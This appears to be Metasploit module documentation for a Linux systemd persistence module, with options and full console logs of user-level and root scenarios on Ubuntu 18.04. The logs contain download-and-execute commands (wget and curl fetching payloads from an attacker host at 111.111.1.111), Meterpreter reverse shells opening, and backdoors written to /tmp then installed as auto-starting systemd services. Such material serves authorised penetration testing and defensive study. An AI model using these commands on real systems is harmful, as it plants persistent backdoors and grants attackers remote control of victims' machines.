h00die
208 lines
8.4 KiB
Markdown
208 lines
8.4 KiB
Markdown
## Vulnerable Application
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This module will create a service on the box, and mark it for auto-restart.
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We need enough access to write service files and potentially restart services
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systemd should be available on the following systems:
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Targets:
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* CentOS 7
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* Debian >= 7, <=8
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* Fedora >= 15
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* Ubuntu >= 15.04
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Verified on Ubuntu 18.04.3
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## Verification Steps
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1. Exploit a box
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2. `use exploit/linux/persistence/init_systemd`
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3. `set SESSION <session>`
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4. `set PAYLOAD <payload>`
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5. `set LHOST <lhost>`
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6. `exploit`
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## Options
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### SERVICE
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The name of the service to create. If not chosen, a random one is created.
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### PAYLOAD_NAME
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The name of the file to write with our shell if a non-cmd payload is used. If not chosen, a random one is created.
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### Target: systemd
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Requires `root` permission, or equivalent. Installs the service into `/lib/systemd/system/#{service_filename}.service`
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### Target: systemd user
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Requires user level permission. Installs the service into `#{home}/.config/systemd/user/#{service_filename}.service`
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## Scenarios
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### Ubuntu 18.04
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#### user
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Initial access vector via web delivery
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```
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resource (/root/.msf4/msfconsole.rc)> setg verbose true
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verbose => true
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resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
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lhost => 111.111.1.111
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resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
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[*] Using configured payload python/meterpreter/reverse_tcp
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resource (/root/.msf4/msfconsole.rc)> set srvport 8181
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srvport => 8181
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resource (/root/.msf4/msfconsole.rc)> set target 7
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target => 7
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resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
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payload => linux/x64/meterpreter/reverse_tcp
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resource (/root/.msf4/msfconsole.rc)> set lport 4545
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lport => 4545
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resource (/root/.msf4/msfconsole.rc)> set URIPATH l
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URIPATH => l
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resource (/root/.msf4/msfconsole.rc)> run
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[*] Exploit running as background job 0.
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[*] Exploit completed, but no session was created.
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[*] Starting persistent handler(s)...
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[*] Started reverse TCP handler on 111.111.1.111:4545
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[*] Using URL: http://111.111.1.111:8181/l
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[*] Server started.
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[*] Run the following command on the target machine:
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wget -qO A0IMfkxw --no-check-certificate http://111.111.1.111:8181/l; chmod +x A0IMfkxw; ./A0IMfkxw& disown
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[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
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[*] 222.222.2.222 web_delivery - Delivering Payload (250 bytes)
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[*] Transmitting intermediate stager...(126 bytes)
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[*] Sending stage (3045380 bytes) to 222.222.2.222
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[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:35670) at 2025-02-12 16:51:31 -0500
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```
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Persistence
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```
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[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/init_systemd
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[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
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[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_systemd) > set session 1
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session => 1
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[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_systemd) > set target 1
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target => 1
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[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_systemd) > exploit
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[*] Command to run on remote host: curl -so ./AfUflryvMrcV http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./AfUflryvMrcV;./AfUflryvMrcV&
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[*] Exploit running as background job 1.
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[*] Exploit completed, but no session was created.
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[msf](Jobs:2 Agents:1) exploit(linux/persistence/init_systemd) >
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[*] Fetch handler listening on 111.111.1.111:8080
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[*] HTTP server started
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[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
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[*] Started reverse TCP handler on 111.111.1.111:4444
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[*] Running automatic check ("set AutoCheck false" to disable)
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[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
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[+] The target appears to be vulnerable. /tmp/ is writable and system is systemd based
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[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
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[*] Writing backdoor to /tmp//wiyCnjJRK
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[*] Creating user service directory
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[*] Writing service: /home/ubuntu/.config/systemd/user/hakiMwGMnXA.service
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[*] Reloading manager configuration
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[*] Enabling service
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[*] Starting service: hakiMwGMnXA
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[*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg
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[*] Sending payload to 222.222.2.222 (curl/7.58.0)
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[*] Transmitting intermediate stager...(126 bytes)
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[*] Sending stage (3045380 bytes) to 222.222.2.222
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[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250212.5212/ubuntu18desktop.local_20250212.5212.rc
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[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:58360) at 2025-02-12 16:52:13 -0500
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[msf](Jobs:2 Agents:2) exploit(linux/persistence/init_systemd) > sessions -i 2
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[*] Starting interaction with 2...
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(Meterpreter 2)(/home/ubuntu) > sysinfo
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Computer : ubuntu18desktop.local
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OS : Ubuntu 18.04 (Linux 5.3.0-26-generic)
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Architecture : x64
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BuildTuple : x86_64-linux-musl
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Meterpreter : x64/linux
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(Meterpreter 2)(/home/ubuntu) > getuid
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Server username: ubuntu
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```
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#### root
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Initial access vector via web delivery
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```
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resource (/root/.msf4/msfconsole.rc)> setg verbose true
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verbose => true
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resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111
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lhost => 111.111.1.111
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resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery
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[*] Using configured payload python/meterpreter/reverse_tcp
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resource (/root/.msf4/msfconsole.rc)> set srvport 8181
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srvport => 8181
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resource (/root/.msf4/msfconsole.rc)> set target 7
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target => 7
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resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp
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payload => linux/x64/meterpreter/reverse_tcp
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resource (/root/.msf4/msfconsole.rc)> set lport 4545
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lport => 4545
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resource (/root/.msf4/msfconsole.rc)> set URIPATH l
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URIPATH => l
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resource (/root/.msf4/msfconsole.rc)> run
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[*] Exploit running as background job 0.
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[*] Exploit completed, but no session was created.
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[*] Starting persistent handler(s)...
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[*] Started reverse TCP handler on 111.111.1.111:4545
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[*] Using URL: http://111.111.1.111:8181/l
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[*] Server started.
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[*] Run the following command on the target machine:
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wget -qO Xz9l4YxP --no-check-certificate http://111.111.1.111:8181/l; chmod +x Xz9l4YxP; ./Xz9l4YxP& disown
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[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) >
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[*] Transmitting intermediate stager...(126 bytes)
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[*] Sending stage (3045380 bytes) to 222.222.2.222
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[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 222.222.2.222:35802) at 2025-02-12 16:54:10 -0500
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[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > sessions -i 1
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[*] Starting interaction with 1...
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(Meterpreter 1)(/home/ubuntu) > getuid
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Server username: root
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(Meterpreter 1)(/home/ubuntu) > sysinfo
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Computer : ubuntu18desktop.local
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OS : Ubuntu 18.04 (Linux 5.3.0-26-generic)
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Architecture : x64
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BuildTuple : x86_64-linux-musl
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Meterpreter : x64/linux
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(Meterpreter 1)(/home/ubuntu) > background
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[*] Backgrounding session 1...
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```
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Persistence
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```
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[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/init_systemd
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[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
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[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_systemd) > set session 1
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session => 1
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[msf](Jobs:1 Agents:1) exploit(linux/persistence/init_systemd) > exploit
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[*] Command to run on remote host: curl -so ./pCnRnSfZCFa http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./pCnRnSfZCFa;./pCnRnSfZCFa&
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[*] Exploit running as background job 1.
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[*] Exploit completed, but no session was created.
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[msf](Jobs:2 Agents:1) exploit(linux/persistence/init_systemd) >
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[*] Fetch handler listening on 111.111.1.111:8080
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[*] HTTP server started
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[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg
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[*] Started reverse TCP handler on 111.111.1.111:4444
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[*] Running automatic check ("set AutoCheck false" to disable)
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[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
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[+] The target appears to be vulnerable. /tmp/ is writable and system is systemd based
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[!] Payloads in /tmp will only last until reboot, you want to choose elsewhere.
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[*] Writing backdoor to /tmp//nfiWHmr
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[*] Writing service: /lib/systemd/system/SBFzvKrWjH.service
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[*] Enabling service
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[*] Starting service
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[*] Client 222.222.2.222 requested /Hg3DGEu9GqlWD06kh4AzFg
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[*] Sending payload to 222.222.2.222 (curl/7.58.0)
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[*] Transmitting intermediate stager...(126 bytes)
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[*] Sending stage (3045380 bytes) to 222.222.2.222
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[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/ubuntu18desktop.local_20250212.5514/ubuntu18desktop.local_20250212.5514.rc
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[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:58406) at 2025-02-12 16:55:15 -0500
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``` |